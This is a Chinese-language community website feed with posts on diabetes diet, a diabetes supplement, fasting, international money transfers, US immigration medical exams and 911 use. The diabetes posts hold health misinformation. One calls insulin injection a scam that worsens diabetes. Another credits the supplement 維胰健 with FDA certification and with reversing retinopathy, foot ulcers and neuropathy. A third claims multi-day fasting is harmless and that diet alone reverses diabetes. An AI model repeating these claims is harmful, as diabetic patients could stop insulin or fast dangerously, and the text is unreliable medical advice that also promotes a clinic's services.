眾所周知，糖尿病患者的飲食非常關鍵。戒糖、低碳成了熱點話題。對於壹直存在爭議的“糖尿病患者是否適合低碳飲食”我們今天就來為您揭曉。

低碳飲食的3大好處，糖尿病患者值得擁有！

密歇根大學Laura Saslow教授壹般而言，低碳飲食是指碳水化合物占總熱量的26%-45%，極低碳飲食則為碳水化合物占總熱量的26%以下。據Laura Saslow介紹，2019最新版ADA糖尿病指南在低碳飲食方面已經有所更新，並指出低碳飲食或為2型糖尿病患者的可行方案。

近年來，在眾多糖尿病飲食模式的研究當中，低碳/極低碳飲食的進展給我們帶來了不少好消息。

▎ 降低血糖和胰島素水平：患者采用極低碳飲食2周後，糖化血紅蛋白（HbA1c）從7.3%下降至6.8%，同時胰島素水平也有明顯下降（圖1）。

▎ 減少藥物使用及治療成本：壹項研究納入21例患者觀察16周發現，極低碳飲食可幫助降低血糖（HbA1c：7.4%→6.3%），

使33%、50%的患者停用或減少降糖藥物的應用（圖2）；另壹項為期12個月的研究納入262例患者也收獲了HbA1c下降1.3%，57%降糖藥物停用的結果；

此外還有研究評估了極低碳飲食與低脂飲食加上減肥藥降低患者血糖及用藥的效果，其數據顯示極低碳飲食組HbA1c降低0.7%，用藥減少71%，

而低脂飲食加減肥藥反而使HbA1c增加了0.2%，用藥減少則為30%。

▎ 減重降壓、改善血脂等其他獲益：相關Meta分析顯示，低碳飲食可使患者體重下降7.0kg（95% CI：-7.2，-6.9），

收縮壓和舒張壓分別下降4.8（95% CI：-5.3，-4.3）和3.1（95% CI：-3.5，-2.7）；

此外還能增加高密度脂蛋白膽固醇 (HDL-C)、降低低密度脂蛋白膽固醇 (LDL-C)和甘油三酯（TG）水平（圖3），

減少體內IL-6、IL-8、TNF-α、MCP-1等炎癥介質的釋放。

糖尿病低碳飲食仍需謹慎，這些問題不容忽視！

低碳水飲食確實能給糖尿病患者帶來許多好處，但是也有壹定要註意的幾點。“如果壹味地追求低碳，可能會帶來另外壹個問題，也就是酮癥的發生”。

碳水化合物是能量的主要來源，當攝入減少時機體會開始燃燒脂肪，而酮體是在脂肪分解過程中所產生的代謝產物。

由於糖尿病患者本身屬於已胰島素抵抗，這種情況下更容易發生酮癥，若酮癥進壹步加重則會導致酮癥酸中毒，嚴重危害患者健康。

“我認為極低碳飲食可能比較適合肥胖及代謝綜合征的患者，建議糖尿病患者適度低碳，維持在26%-45%的水平即可”。

結論：低碳飲食對於肥胖及糖尿病患者短期使用具有壹定的治療效果，但也存在相應的風險，必須根據專業人士指導，如果關於低碳飲食有困惑的，也可聯繫我們咨詢輔導。

【糖尿病人必不可少的運動】

體育鍛煉是糖尿病控制的三駕馬車之壹，作用不容忽視。對於糖尿病人，能多動就多動，每壹步帶來的都是健康！

上升運動強度的問題，中等強度的走動就比站和慢慢走路對健康人的收益大多了。當然，對黃色方塊和紅色方塊代表的人群來說，哪怕是站壹站，也是好的。

發生這種狀況其實也不難理解，因為本身超重/肥胖和血糖異常者比正常人更容易受到“久坐不動”的傷害！在這個情況下，稍有壹些改變，就能帶來收益。

而如果妳平時就很喜歡體育鍛煉，而且身體情況很好，那麽妳抵抗久坐傷害的能力也更強，要想獲益也需要更激烈壹點的活動。

當然，糖尿病患者也可以預約或者致電我們的紐約香港康復中心，我們會有專業的醫師為各位作答，給患者制定合理的飲食運動計劃。

【维胰建——糖尿病人的新生】

糖尿病蛋白尿尿液改變

1.尿液中泡沫減少或者消失；2.尿色渾濁有異味；3、尿液的粘滯性減少；4、有男性糖尿病患者反映，在連續服用壹個月左右，性功能有顯著改善。

糖尿病視網膜病變視覺模糊狀態改善

前文和大家分享了張老漢的故事，大家壹定引以為戒，莫要等到疾病到了無法挽回的余地再去後悔。根據許多服用者的反饋，在服用壹個月後視力

下降有明顯改善，感覺目光明亮，眼睛不再幹澀。

糖尿病足及手腳麻木改善

糖尿病足及手腳麻痛的人在服用壹個月左右，下肢及足部的皮膚損傷及潰爛得到改善，出現新生微血管，皮膚呈現愈合狀態，手腳麻痛及無知覺的

神經性病變狀態改善或消失，下肢血管栓塞導致的疼痛狀態改善或消失。

消化功能改善

糖尿病患者常伴有胃腸功能障礙和腸道菌群失調，出現很多不適，如：食後腹脹、燒灼感、便秘、排氣多伴惡臭等等。

有服用者反映大概在服用20天左右上述胃腸的不適感消失。

同時維胰健還有美國FDA認證，許多糖尿病病人在使用了我們的飲食法，再配合使用維胰健之後，糖尿病均發生了逆轉！

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一篇文章告訴妳，造成2型糖尿病的元兇。

在看這篇文章之前小編有兩個非常重要的問題要問在電腦/手機面前的妳

妳是否患有2型糖尿病？妳是否在定期註射胰島素來控制血糖？

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如果，以上兩個問題妳的答案都是：是。那麽請務必看完這篇文章！

在我們的傳統認知中，都覺得糖尿病人就應該定時去醫院註射胰島素來維持血糖穩定在正常範圍內。但其實，看似幫助妳降低血糖的胰島素，其實是讓妳走上了一條糖尿病的不歸路。這恐怕顛覆了很多人的認知，註射胰島素確實讓人血糖低了，但這只是個徹頭徹尾的“騙局”。

首先我們得了解導致2型糖尿病的真正原因外行人會說：因為血糖高啊。實際上這裏犯了個邏輯上的因果錯誤，血糖高確實是糖尿病患者表現出來最直接的癥狀。那為什麽妳的血糖就高於正常人呢？！原因就在於：糖和胰島素！

舉個例子：試著把人的身體想象成一個裝糖的容器，每個人出生時容器裏都是空無一物，當妳在成長過程中不斷攝入糖分和精制碳水，這個容器不斷被填滿，等它到達臨界點之後，妳每一次攝入糖分妳的身體就會分泌胰島素荷爾蒙幫助妳把糖分搬運到細胞裏，來用作日常供給能量。但是正常生活中無法保證妳每天的攝取都能被消耗，所以那未被消耗的部分糖就被儲存在細胞裏。長年累月，妳的細胞就會完全充滿糖而無法正常運作。等妳下一次再攝入糖分時，妳的胰島素就無法將糖分輸送到妳的細胞裏，進而只能進入血液。糖分會以一種叫做葡萄糖的形式流動與血液中，如果不及時加以控制，就會形成高血糖，也就是糖尿病的主要癥狀。有一句話說的好：很多病都是吃出來的。糖尿病從本質上來說，也是膳食類疾病。

所以高血糖只是個結果，是糖分攝入過多所導致的。

說糖能導致糖尿病，相信大部分人都知道那麽胰島素騙局，妳真的更應該了解。在妳攝入糖分的時候胰島素這家夥就出現了，它幫妳把多余的糖分轉移到身體的各個細胞裏，沒錯這就是它簡單粗暴的作用。為什麽醫院會讓妳註射胰島素，就是要把妳血液中的葡萄糖強行塞入妳的細胞裏，讓妳的血糖看起來低了，但是細胞內的卻塞滿了葡萄糖。短時間內，妳可能還會自我安慰長此以往，細胞就會無法衰竭，無法正常運作，身體的各個器官無一幸免，這就是各種糖尿病並發癥到來了時候了。

簡單來說，妳可以把體內的細胞想象成一個個行李箱，把細胞內的糖分想象成行李，當妳的行李滿了之後，哪怕再放進去一件T恤都很艱難，就算強行塞進去了也只是解決了暫時性的問題，沒辦法解決根本問題。最關鍵的事情就在於，妳得拿出一些多余的“行李”（即糖分）

所以我說，胰島素不會幫妳消耗糖分，而是繼續幫妳把糖分藏在身體的各個角落裏，妳看不見它，但是它卻讓妳體重不斷增加，給妳的健康埋下了一枚定時炸彈。等糖齡越高，等到妳所需要的藥物從一種變成多種的時候，也就意味著糖尿病越發嚴重的，到時候在想要去改變飲食或者運動也不可能了。所以，妳現在還覺得糖尿病單靠註射胰島素就有用嗎？！

它和治療糖尿病的原理完全是相悖的。對於糖尿病我們能預防則預防，如果真的患上了也不要自我放棄，我們要始終相信一點，只要通過膳食調理和運動糖尿病完全是可以逆轉的。

==========================================================================================關於飲食，我們倡導低碳和低糖飲食。前文說過糖尿病就是因為我們體內有多余的糖，我們需要把它拿出來，第一步就是先減少我們日常的糖分攝取，糖除了能讓人開心之外，對人體沒有任何好處，我們壹定要學會舍棄它。具體到生活中的種種食物，就是奶茶、飲料、面包、各種加工零食，都是要杜絕的。含糖量高的水果也要少吃，例如含糖量在14%以上的水果：柿子、桂圓、香蕉、楊梅、石榴等。

除了糖，我麽還要減少碳水化合物的攝取，因為碳水會轉化為葡萄糖，碳水含量很高的食物有這些：

1、蔬菜類：馬鈴薯、蕃薯、豆類。2、水果：葡萄、桃。3、谷類：米飯、面條4、甜食類：可可、巧克力、餅幹。5、飲料：酒、麥酒、淡茶、咖啡、不加糖者可食。

糖尿病患者最好不吃或者少吃。糖尿病患者正確的吃法應該是，保持適量而不過高的蛋白質攝取。人體健康需要一定量的蛋白質，蛋白質會轉化氨基酸，但是過多的氨基酸無法存與體內，因此肝臟會把它轉化為葡萄糖，所以，我們在日常中應該避免高度加工的、濃縮的蛋白質來源，例如：蛋白粉、蛋白棒、蛋白質奶昔。我們應該多攝入膳食性脂肪，比如，牛油果、堅果、橄欖油裏的天然脂肪就是地中海式飲食的主要成分，對於血糖和胰島素的影響很微小，對心臟病和糖尿病也有許多好處。它會讓妳在不攝入糖分和碳水的情況下，也能有飽腹感。

======================================================================================================================關於燃燒體內殘留的糖分很多醫生專家都會說：糖尿病患者得保持一周4次以上的運動，每次運動最好在一小時以上。設身處地的想，這對於壹個正常人來說就已經很難以堅持了，更何況是糖尿病患者。我們要放寬心態，不否認運動一定有助於糖尿病好轉，但是更重要的還是飲食習慣。在燃燒身體糖分最簡單有效的方法中，斷食排第一名。斷食是進食的相反面，當妳斷食時，身體沒有多余的糖分和碳水攝入，它就會去燃燒妳囤積的脂肪。

在傳統觀念中，如果有人讓妳斷食，妳一定會抨擊他，“斷食？營養不均衡怎麽辦？降低基礎代謝怎麽辦？”但是，我們可以明確的告訴妳斷食並不會對身體有什麽壞處。斷食和節食完全是兩回事，我們不鼓勵節食，卻倡導斷食。有研究數據表明，連續禁食4天以上，基礎代謝不會下降，反而還增加了12%。

其實，斷食和節食最主要的區別是，斷食能影響身體荷爾蒙的分泌，這些能才是增加減肥效果的原因，斷食不是簡單的熱量減少，而是刺激身體的荷爾蒙，達到減肥的效果。

斷食對荷爾蒙的影響：1，胰島素敏感度提升，有助於緩解胰島素抵抗。2，去甲腎上腺素升高，維持新陳代謝高。3，生長激素上升，有助於維持瘦體重。我們可以先試想一下我們的祖先的生活，比如說山頂洞人，冬天的時候，食物很少，如果我們的身體進入“饑餓模式”，那麽我們將變得昏昏欲睡，沒有能量和動力去出去找食物。假設斷食會降低新陳代謝的原理，那麽在漫長的冬天，這個情況會越來越糟糕，最終我們會死亡，人類可能會滅絕，但是沒有，人類和很多冬眠的動物一樣，挨過了饑餓，健康的活了下來。事實上，在斷食期間，身體開始分解身體脂肪，供應能量，新陳代謝依然保持高水平，如果我們開始攝入食物，我們就開始利用食物中的熱量供能，開始出去工作，運動，玩耍，等等。在斷食期間，我們首先燃燒存儲在肝臟中的糖原，糖原消耗完成後，我們開始利用儲存的脂肪供能，很多胖子的身體裏儲存了大量的脂肪，可以提供大量的燃料，新陳代謝並不會下降。所以說，為什麽我們倡導斷食有用，而反對節食，他們之間的本質區別是什麽？大家應該有了一個初步的理解，我的理論分析小結：1，肥胖而不是簡單的熱量失衡，更多的是激素失衡一種表現，激素影響妳的食欲，影響妳身體儲存脂肪方式，燃燒脂肪的效率。

2，節食提倡少吃多餐，妳一直在吃，只是吃得少一點，妳沒有真正的空腹時間，沒有進入燃燒脂肪的模式，但是斷食可以。

3，斷食能產生有利於減肥的荷爾蒙變化，而只是簡單的控制卡路裏，少吃多餐，不控制飲食時間，是沒有這些荷爾蒙的變化的。

其實斷食還有其他很多好處，對於糖尿病患者而言，最直接的就是幫助我們燃燒體內糖分，把細胞內多余糖分趕出體內，給出細胞重新容納糖分的空間。

如果妳正在服用降糖藥物，不要盲目自己改變飲食習慣，請及時咨詢我們，在得到我們的專業醫師許可的情況下再改變傳統飲食方式，走上逆轉糖尿病的道路。

2019-10-05 / by davidhorgan479 / in 医疗健康

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2019-09-30 / by happy1 / in 汽车/房产/保险

多国适用的最划算国际汇款方式

如何汇款/国际汇款/汇款方式/汇款途径

人们在生活中有各种各样的原因需要国际汇款，无论是寄钱回国给家人，还是中小企业要从海外买货，支付某项服务，为海外员工付工资等等，都需要用到国际汇款。

虽然作者身在英国，以英国的情况为基础成文，以英镑为基础说明问题，但本文所述原则，所介绍到的换汇公司对许多其它国家同样适用。

银行汇款不划算

通过银行进行国际汇款往往是很不划算的。你可能先在谷歌上查了一下当前汇率，但查询到你的银行提供的国际汇款的汇率时，却发现完全不是一回事。

这是因为谷歌上发布的汇率是市场中间汇率，即当时那两种货币买方和卖方所出价钱的中间价。这个市场中间汇率也被称为“真实”汇率，是专业货币交易商使用的汇率。

然而，你的银行并不会把这个汇率给你，而是在这个汇率基础上增加一个幅度后再给你，这个加价的幅度是不透明的。

银行会以对用户不利的汇率或手续费赚取利润，或者两者兼而用之，结果就是银行利润颇丰，而用户则在向海外汇款时感觉被宰了一刀，相当心疼。

这样的交易对用户来说有多糟？据英国《每日电讯》的一篇报导，用户很可能损失掉5%，也就是说，你在跨国汇款时，每1,000英镑，就有50镑被银行赚去了。

幸运的是，今天人们在需要往海外汇款时，可以有一堆选择。除了银行汇款，建筑协会和邮局汇款外，他们还可以使用近些年发展起来的专业网络国际汇款公司，甚至对等兑换（Peer to Peer）网络国际汇款公司。

网络公司比拥有高街店面的银行开销低，因此可以将优势转移给消费者。

什么是对等兑换（Peer to Peer）公司？

Hand holding puzzle coming out from screen to connect with another, in white background — 在专业网络国际汇款公司中，对等兑换（Peer to Peer）形式的网络国际汇款公司更以其真实的汇率，透明的收费而倍受人们青睐。(Depositphotos)

在专业网络国际汇款公司中，对等兑换（Peer to Peer）形式的网络国际汇款公司更以其真实的汇率，透明的收费而倍受人们青睐。

什么是对等兑换呢，让我们先从一个小故事讲起：

Taavet Hinrikus和Kristo Käärmann是两个朋友，Taavet为爱沙尼亚的Skype公司工作。他的工资是以欧元支付给他的，但他住在伦敦；Kristo在伦敦工作，他的工资是以英镑支付给他的，但他在爱沙尼亚有一所房产需要用欧元支付按揭。

他们每个月有一天会查到当时的中间市场汇率，然后Kristo把英镑放入Taavet的英国银行账户。而Taavet把欧元放入Kristo的欧元账户，两人都得到了他们需要的货币，却没有支付一分钱的银行隐藏费用。

“一定有其他人像我们这样，”这两人的顿悟促成了一个对等兑换的网络国际汇款公司──TransferWise的建立。

TransferWise用技术手段匹配人们在不同国家、货币之间的交换需求，以中间市场汇率为基准进行交换。使用户可以获得以前一般人难以获得的最公平的汇率。

我们可以做个有趣的试验：

在谷歌搜索中敲入任何两种货币——谷歌会显示出他们之间的即时汇率，

然后马上查看下面这个TransferWise的汇率和费用框：

你可以看到TransferWise提供的汇率（Guaranteed Exchange Rate）和谷歌的是一致的！

汇款手续费也会随着数额和货币的不同而清楚精确地显示出来。

TransferWise号称：“不同的货币之间费用会有不同，但我们通常比银行划算8到10倍，快5倍。”

比如从英国汇款到美国没有固定手续费，只收汇款额的约0.4%；到澳大利亚是0.45%；到欧洲是每笔80便士加0.35%。非常有竞争力。到中国大陆的费用稍贵一些，大约是1.3%。而且只支持外币到人民币的单向汇款，对在海外需要往中国国内汇款的人有用。

目前TransferWise支持以下货币之间的双向国际汇款：

欧元、英镑、美元、澳元、瑞士法郎、加拿大元、波兰兹罗提、瑞典克朗、挪威克朗、丹麦克朗、匈牙利福林、捷克克朗、保加利亚列弗、罗马尼亚列伊、新西兰元、巴西雷亚尔、新加坡元、日元，南非兰特。

还支持从以上所列货币到以下货币的单向国际汇款：

中国人民币、港元、印度卢比、马来西亚令吉、菲律宾比索、巴基斯坦卢比、摩洛哥迪拉姆、泰铢、阿联酋迪拉姆、乌克兰赫列夫纳、印度尼西亚卢比、哥伦比亚比索、格鲁吉亚拉里、土耳其里拉、墨西哥比索、俄罗斯卢布、韩国元、斯里兰卡卢布、孟加拉国塔卡、越南盾。

Transferwise的特点还包括：

• 汇款的限额从一英镑到一百万英镑。
• 汇款会在一至四天内到达海外收款人的银行账户。

Transferwise于2011年成立，截止到2019年3月12日，在用户评价网站Trustpilot上有60，684名用户，在满分10分中平均给了它9.2分，整体表现：“优秀”。

用户评价包括难以置信的便宜，使用真实汇率，容易使用，速度快，汇款额范围大，汇款过程通知及时，可靠。

（Trustpilot是用户自由评价的网站，不受任何商家约束，因此其评价基本反映了用户的真实感受。）

Transferwise 网址*： https://transferwise.com

超级便宜又方便的“无界账户”

2018年， TransferWise还推出了一种叫做“无界账户”（borderless account）的账户，这种账户，同时提供英国、美国、澳大利亚、欧元区、新西兰的银行账户号，所以用这一个账户接收以上不同的货币完全没有费用。

当然这个账户也可以接收和持有该公司业务范围内其它种类的货币，在你需要时，或者在汇率有利时，可以方便地随时在货币间转换，具有接收款、持款、汇款、消费的功能；

客户并可以订一张与之相配的“借记万事达卡”（debitMastercard®），用于直接用不同货币的划卡消费，没有费用，甚至可以在ATM上小额提款，同样没有费用。

所以使用起来如同打破了国家间的界限一样方便。

这对于到海外旅行或者工作生活的人来说，兑换货币和使用不同的货币变得超级方便和便宜。

TransferWise甚至还做了无界账户的手机App，所以用手机就可以实现换汇、汇款等功能了。

Transferwise的无界账户页面： https://transferwise.com/gb/borderless

XE*

另外值得推荐的国际汇款公司还有XE，它2018年与我们过去介绍过的HiFX合并，笔者是HiFX的用户，在它家开户非常简单方便，几乎是五分钟搞定就可以汇款了，之后还收到它寄到家里的开户确认函，非常贴心。相比之下，有些网络公司开户就要准备各种文件，让人相当头大。合并后的XE宣称服务与以前一样或更好。

更重要的是无论汇款数额大小，无手续费，而它的汇率也是非常有竞争力的。汇率和手续费两项因素相加，划算的程度跟Transferwise也有得一拼。

XE支持在170多个国家，60多种货币间的国际汇款，其中包括英镑和港币、也有美元、欧元、澳元等，可惜不包括人民币。

Xe的特点还包括：

• 无论数目大小，汇款零手续费
• 汇款的限额相当于 50万美元以内，客户都可以自己在网上操作。

截止到2019年3月12日，在用户评价网站Trustpilot上，有25,630名用户在满分10分中平均给了它9.3分，整体表现:“优秀”。

大部分用户评价XE：开户容易、使用简便、价格透明，汇率佳，汇款速度快，可靠，工作人员回复用户问题迅速、耐心、专业。

XE建立于1993年，是加拿大富有声誉的一家换汇公司，HiFX于1998年成立于英国伦敦， 2019年1月加入XE。

Xe网址*：

https://www.xe.com

你的钱安全吗？

本文所介绍的两家公司都由英国金融行为监管局（FCA）授权的公司，受FCA监管，这样的公司每天在营业结束时，都需要把用户的汇款与该公司自己的钱分开（被称为Ringfencing）。这样做可以保护用户的汇款。所以这种公司即使遇到问题，用户应该也能把自己的钱找回来。

2019-09-30 / by happy1 / in SAT/ACT, 其它, 留学/教育/求职

中风盯上年轻人？改变生活习惯很重要!

2019-09-29 / by happy1 / in 医疗健康

5种隐藏陷阱的健康饮食

2019-09-29 / by happy1 / in 医疗健康

漱口水的强大功能可不只有漱口

想不到漱口水还有这八个用途好神奇

1. 除狐臭

2. 辅助清洁马桶

3. 泡脚

4. 清洁牙刷

5. 垃圾桶除臭

6. 缓解叮咬发痒、消毒伤口

7. 洗衣机消毒

8. 擦拭电脑萤幕

2019-09-29 / by happy1 / in 其它, 居家生活, 汽车/房产/保险, 生活/美食/家居

商务舱秘密你知道多少？

1.节省大把时间

2.总裁级别的贵宾候机室

3.大师烹饪的美食

4.美美睡一觉

5.时刻保持神清气爽

2019-09-29 / by happy1 / in 其它

缺一颗牙会损害五颗牙齿？

你知道吗？丢失一颗牙可以损害周围的五颗牙齿。

有一位23岁的男士因为龋齿拔除了左右两侧的第一磨牙，但并没有装假牙也没有植牙，结果几个月时间，空缺牙齿的两侧牙齿、上方牙齿，和上方两侧的牙齿都发生移位，通过牙齿矫正和植牙两步手术，才把牙列调至正常。

2019-09-29 / by happy1 / in 医疗健康, 肠胃科/儿科/家庭医生

美国热门景点攻略

2019-09-29 / by happy1 / in 律师/移民/金融, 移民生活

这些常犯的化妆错误千万要抛弃！

2019-09-25 / by happy1 / in 其它

擦护肤霜也能致昏迷？

2019-09-25 / by happy1 / in 其它

华人遇到这些情况小心绿卡被没收

2019-09-25 / by happy1 / in 律师/移民/金融, 移民/签证/护照

血糖居高不下怎么办？

2019-09-25 / by happy1 / in 医疗健康

史上最严的美国海关新规！

2019-09-25 / by happy1 / in 律师/移民/金融, 移民/签证/护照

如何去除冰箱异味？

2019-09-25 / by happy1 / in 其它

美国人都喜欢墨西哥菜？这家餐厅一位难求！

大家都知道，美国人其实很喜欢墨西哥菜，主要原因是墨西哥离美国非常近，而且在美国有大量的墨西哥移民，所以饮食文化的融合度就比较高。

和墨西哥卷饼一样，墨西哥汉堡Tortas，墨西哥三明治Pambazos，都是非常受欢迎的快餐美食。

墨西哥的薄饼披萨和纽约皮萨也有点像，一张很大的薄脆玉米饼上抹上土豆泥、奶油、酸奶酪，再铺上火腿片或者肉、生菜、牛油果、洋葱等等，十分受欢迎。

还有像是墨西哥刨冰，蒸红薯，炸香蕉，水果杯，烤玉米，玉米杯，甜油条，烤鸡翅虽说在其他的国家也有一样名字的小吃，但如果有机会到墨西哥，一样要品尝下这独特的墨西哥风味。另外，炸猪皮，凉拌猪皮也是墨西哥很流行的美味小吃，墨西哥人把看来油腻腻的猪皮，做出了超棒的口味～

墨西哥玉米粽是墨西哥人圣诞餐桌上不可缺少的美。在墨西哥人家中，大米露常常用来自己喝或者招待客人。蛋奶酒是去墨西哥一定要尝特色饮料。

美国一位难求的墨西哥料理店Cosme

墨西哥著名厨师 Enrique Olvera恩里克奥尔维拉在 2014 年创立了 Cosme ，他是以纽约在地食制作墨西哥传统料理，透过他的料理很多人改变了对墨西哥食物的刻板印象。而且Cosme餐厅强调的是传统墨西哥料理的现代化，空间也是充满当代元素的工业风，垂直吊挂在餐桌上的照明，让食物呈现艺术品般的质感。Cosme 的餐单结合了诸如玉米、豆子等墨西哥的常见菜，和当地的季节性产品以及全球各地的香料。

2019-09-25 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

美国移民体检流程！(718) 285-9688 史上最全的美国移民体检/绿卡体检攻略出炉了！体检费用说明。

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郭晓军医生诊所移民局体检医生

郭晓军移民体检医生（位于法拉盛梅西百货购物中心大楼旁边）

地址： 136-68 Roosevelt Ave Unit 5D, Queens, NY 11354

电话：(718) 285-9688

网址：

郭晓军/孔丽医生718-285-9688 / 家庭医生/法拉盛最好的家庭医生/ 纽约移民体检

移民体检

申请移民美国的流程，有一项就是绿卡体检。何谓绿卡体检？绿卡体检，也叫移民体检。绿卡体检必须在美国移民局指定的移民体检诊所进行，医生会按照移民局的要求进行各项检查，并填写I-693表，密封后由申请人提交给移民局。

美国移民体检史上最详细攻略

移民体检内容包括：

一，体质检查，比如视力、身高、体重、血压等，也包括对精神状况的评估。

二，结核菌素反应检验(Tuberculin Skin Test，TST)，肺结核之类的，只有2-14岁的申请人需要做这种检验。

三，X光胸透。这项检查是所有申请人都需要进行的。

四，血清检查。只有十五岁以上的人才会被抽血来检查是否带有艾滋病毒和梅毒。但是如果医生怀疑十四岁以下的人可能感染有这些病毒，医生可以对他们进行这方面的检查。

五，注射免疫疫苗。如果能出示以前曾打过某些疫苗的证明，可以不用再花钱打疫苗。

美国绿卡/移民体检步骤：

一、必带的材料/证件：

1. 申请人需携带护照原件；

2. 美国驻中国总领馆或美国公民和移民事务局的约见信原件，如果是电子邮件要打印出来；

3. 近期（半年内）的、符合美领馆移民签证规格（50mm×50mm）相片5张；K类签证者，如选择不在体检时进行预防接种的，只需4张相片；<11岁的赴美领养儿童，只需2张相片，≥11岁，需3张相片；

4. 体检表格(DS-2053、DS-3024、DS-3025、DS-3026)，共5张纸

5. 如曾患有慢性病、有重大疾病史或手术史者，或目前正在接受医学治疗体检时，请提供病历或有效医学证明（如病历记录、住院小结、手术记录、病理报告等，原件或复印件皆可）；

6. 申请人有疫苗接种记录，请携带疫苗接种的原始记录和复印件1份，并在办理预防接种前出示。

7. 体检表格不需要自己填，体检的时候医院的工作人员会帮你填的。

需要注意的是：体检结果包裹不能自行拆封！一定要等到移民局的官员打开！

二、在中国国内进行美国移民体检，需要注意的10点：

1）体检前1天尽量不要吃油腻东西，不要喝酒，注意休息

2）抽血前要保持空腹

3）检时最好穿宽松的衣服，最好不要戴项链等装饰，以便拍胸片

4)如果本身身体有发热或者不舒服，尽量将体检日期延期

移民体检

5)女生尽量避开生理期哦

6)需长期服用药物的申请人，如高血压、糖尿病等患者及服用激素者，体检当日应正常服药，以免造成病情波动。必要时请携带目前所使用的药物

7）2-14岁申请人需进行结核菌素皮试（TST）。申请人于皮试后48-72小时再次来到本中心测量皮试结果。因此，这些申请人的体检报告最快需要3至4天才能完成。

8）妥善保管约见信以及护照等身份证件，避免丢失

9）体检时如果没有2寸普通正面彩照，可以用护照的照片或者50×50的照片

10）体检表格不需要自己填，体检的时候医院的工作人员会帮你填的

三、收费标准

绿卡申请流程

1）赴美移民健康评估收费标准：

≥15周岁的赴美移民申请人：1100元；

2周岁以下（不包括2周岁）的儿童体检费用为700元；

2－14周岁的儿童体检费用1500元（含抽血进行肺结核检测费用800元）。

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2）赴美移民预防接种收费标准：

根据赴美移民预防接种的具体要求，不同年龄段的申请人所接种疫苗有所不同，因此接种收费根据所接种疫苗而定。

以上支付方式可选择现金支付或刷卡。

四、被拒签的不符合健康因素的情况：

为了防止严重的健康危险威胁美国公众的健康，美国移民局（USCIS）可能会拒绝一个外国人的绿卡申请。不过，被发现不符合健康条件的申请人可就某些健康原因导致的被拒绝情况申请豁免，并且USCIS也有权力对这种情况给予豁免。

几种美国移民局极有可能拒绝签证申请的健康因素如下：

１）传染性疾病；

２）未接种疫苗；

３）身体或精神障碍；

４）滥用药物或药物上瘾。

移民体检医生

美国境内的移民体检/绿卡体检的简单流程

有时虽然在国内做过移民体检项目，但到了美国仍然需要再体检一次，比如在美国需要调整身份再申请绿卡的华人朋友，就需要重新进行美国境内的体检。不过也不用太过于担心，在美国境内体检，流程比较简单，并没有在国内体检那么复杂。

如何找到体检诊所或医院？

如需要在美国境内进行的绿卡体检，你可一定要注意了，并非所有的医院都有资格做移民体检的。

在这个时候，你就需要了解哪些是美国移民局指定的移民体检诊所。

在美国移民局官网，输入邮编即可查询到你附近有哪些医院具有移民体检资格。

见下图：

移民体检

例如输入法拉盛11354邮编，结果非常详细，一目了然，见下图：

在这里教大家一个小窍门，找移民体检诊所/医生时，可看下是否是拼音组成的名字，如果是，说明此医生是华人医生，可以进行华语沟通，语言上清除障碍，就是顺利体检的最大保证。

“纽约金牌资讯网”为移民体检的朋友，列出２个由美国移民局指定的移民体检诊所，可供大家参考：

吴旭霞移民体检医生（位于法拉盛天景购物中心停车场后面大楼，可直接开车或乘BJ’S门前电梯至停车场5层，停车方便）

（接受大部分医疗保险，即来即看缩短候诊时间，营业时间：9:30AM~7:00PM）

备注：这两家诊所收费不太多，精通国、粤、英语，为患者提供无障碍沟通服务，报告单出的也比较快。

纽约体检

“纽约金牌资讯网”温馨提示美国新移民，在美国境内进行移民体检，需要携带的资料：

1）请记得带上护照或美国驾驶证。

2）疫苗和抗体记录也要带上（小黄本疫苗记录，如下图）。

绿卡体检必备

3）凡是在2个月到18岁的移民体检者，都需要进行打“免疫疫苗”。

4）请带上I-693表格（医生会按照移民局的要求进行各项检查，并填写I-693表，密封后由申请人提交给移民局），表格如图示：

移民体检记录

体检流程：

１）体质检查：包括身高、体重、血压等。
２）根据提供的医疗记录来评估需要补打的疫苗有几针。
３）抽血及验尿检测。
４）体检结果会在三到七天出来。

再强调一次：注意了，体检结果包裹不能自行拆封！一定要等到移民局的官员打开，不然等同无效！

附上“疫苗疾病检测项目”：

移民绿卡申请程序

DT－白喉、破伤风混合疫苗
Hepatitis A and B－A型及B型肝炎疫苗
Influenza（Flu Shot）－流感疫苗
Influenza type b（Hib）－B型流感疫苗
Measles－麻疹疫苗
Meningococcal－流行性脑脊髓膜炎疫苗
Mumps－腮腺炎疫苗
Pneumococcal－肺炎菌疫苗
Pertussis－百日咳疫苗
OPV－小儿麻痹疫苗
Rotavirus－轮状病毒疫苗
Rubella－德国麻疹疫苗
Tetanus and Diphtheria Toxoids（TD）－破伤风类毒素疫苗
Varicella／Chickenpox－水痘疫苗

移民体检中心

移民体检不但合法入籍的重要步骤，同时也可通过体检帮新移民了解自己的健康状况，祝大家体检顺利！

2019-09-25 / 3 Comments / by happy1 / in 医疗健康, 律师/移民/金融, 求医指南, 汽车/房产/保险, 疫苗, 移民/签证/护照, 移民生活, 美国新闻, 肠胃科/儿科/家庭医生

普天寿利宝互助保险-（安泰保险）：值得信赖的保险

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安泰保险的服务宗旨，就是为客户提供最切实可行的、最有效的财富管理服务。

2019-09-25 / by happy1 / in 二手车, 保险/贷款, 房屋买卖, 汽车/房产/保险

在美生活必知：除了911，还有哪些紧急电话可救命？

1967年，联邦通信委员会和美国电话电信公司，将“911“设为全美通用的报警电话，并在1968年正式启用。在这之前，美国并没有一个统一的紧急报警号码。现在在美国，每年有2亿4千万美国人拨打911电话求助，911已经成为美国人的救命线。

911是由各地机关来维持，他们只受理当地的通报。如果是跨地/州的情况报案，911无法受理的，遇到跨地/州情况，请直接拨打当地的警局/消防局/医院急诊单位的电话。

在美国，你一定要学会遇到哪些情况需要拨打911，学会这些，可救命！

1，火灾：不管大小火灾都打。

2，家暴。

3，犯罪：特别是正在进行中的犯罪，包括窃盗，或有人身危险等。

4，车祸：车祸导致有人受伤，或任何身体不适等都打。

5，医疗急救：需立即医疗救护的，如心脏病、中风、胸闷、溺水、中毒、痲痹、剧痛、烧烫伤、自杀等。

911接通后，你需要做的事：

1，保持冷静和口齿清晰；

2，回答问题简明扼要；

3，除非接线员提示挂线，否则尽量不要挂断电话。

除了以上常识，初到美国的你，还需要注意这些：

１，在没有911服务的区域，可拨“0”来产生联络拨打911电话，可能会听到语音回答，千万不要挂机，要等待调度员。

２，如果误拨911，不要马上挂断，要告诉调度员实际情况，否则，对方会以为发生事故，而派遣警察到达你拨打电话的地方。

